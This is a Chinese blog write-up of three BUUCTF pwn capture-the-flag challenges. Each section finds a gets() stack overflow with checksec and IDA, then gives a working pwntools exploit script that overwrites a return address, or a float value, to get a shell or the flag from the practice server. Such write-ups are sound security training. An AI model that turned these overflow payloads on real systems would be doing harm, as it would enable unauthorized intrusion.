BUUCTF PWN(1)

1|0rip


image
首先checksec起手发现没有打开任何防护,是64位amd文件,使用IDA反汇编瞅一瞅
image
首先shift+f12查看字串发现/bin/sh和system跟进查看/bin/sh的返回地址0X401186
image
查看main函数的反编译代码发现gets(s, argv)栈溢出漏洞,没有限制s的输入大小
点开s查看s的内存大小发现距离返回地址为0XF+0X8
image
构造payload:'a' * 0x23 + p64(0x401186)
发现连接超时image
这道题的s应该是一个局部变量,23个刚刚覆盖了rbp,然后那两个地址紧接着往下排,0x401198是 “retn” 保证程序能正常返回,然后0x401186在Main函数栈顶。又因为retn相当于pop + 执行,故形成了返回地址劫持~~
解决办法:payload=‘a’ * 23+ p64(0x401198) + p64(0x401186) #0x401198为返回地址
exp:

from pwn import * p = remote("node4.buuoj.cn",28191) payload = 'a' * 23 + p64(0x401198) + p64(0x401186) p.sendline(payload) p.interactive()

image
得到shell权限最后查看flag得到flag
image

2|0warmup_csaw_2016


同样使用checksec起手发现没有打开任何防护,是64位amd文件,使用IDA反汇编瞅一瞅
image
shift+f12查看字串发现查看flag的函数
image
跟进找到cat flag的函数返回地址0x40060D
image
打开main函数发现又是简单的栈溢出问题,找到溢出漏洞gets,没有对v5的输入做出限制
image
点击查看v5的内存,发现填充40字节的数据加上因为是64位文件加上8字节返回地址
image
构建payload:'a' * 0x48 + p64(0x40060D),构建exp

from pwn import * p = remote("node4.buuoj.cn",27321) payload = 'a' * 0x48 + p64(0x40060D) p.sendline(payload) p.interactive()

得到flag
image

3|0ciscn_2019_n_1


用checksec扫描发现,这次打开了NX保护,同样是64位amd文件用ida打开
image
找到main函数打开发现,func()函数可以利用。
image
发现,即v2=11.28125时得到flag
image
可以看到栈溢出函数gets控制的是v1的输出,观察v2距离v1多少个字节。使v1溢出给v2填充为11.28125即可得到flag
接下来查看v1距离v2多少字节
image
由图可以看出v1距离v2为0x30-0x4这时填充一个11.28125即可得到flag
但是11.28125是十进制的数,要变为十六进制才能成功获取flag如何得到十六进制的浮点数呢?
image
找到汇编代码中比较浮点数的地方光标悬停在上面可以看到浮点数的十六进制,ok现在构造payload:'a' * (0x30-0x4) + p64(0x41348000),编写exp:

from pwn import * p = remote("node4.buuoj.cn",29740) payload = 'a' * (0x30-0x4) + p64(0x41348000) p.sendline(payload) p.interactive()

执行exp,得到flag
image


__EOF__

本文作者长不高的李肥肥
本文链接https://www.cnblogs.com/xuanbb9826/p/16732342.html
关于博主:阿源要努力变强
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   长不高的李肥肥  阅读(54)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 使用C#创建一个MCP客户端
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· ollama系列1:轻松3步本地部署deepseek,普通电脑可用
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示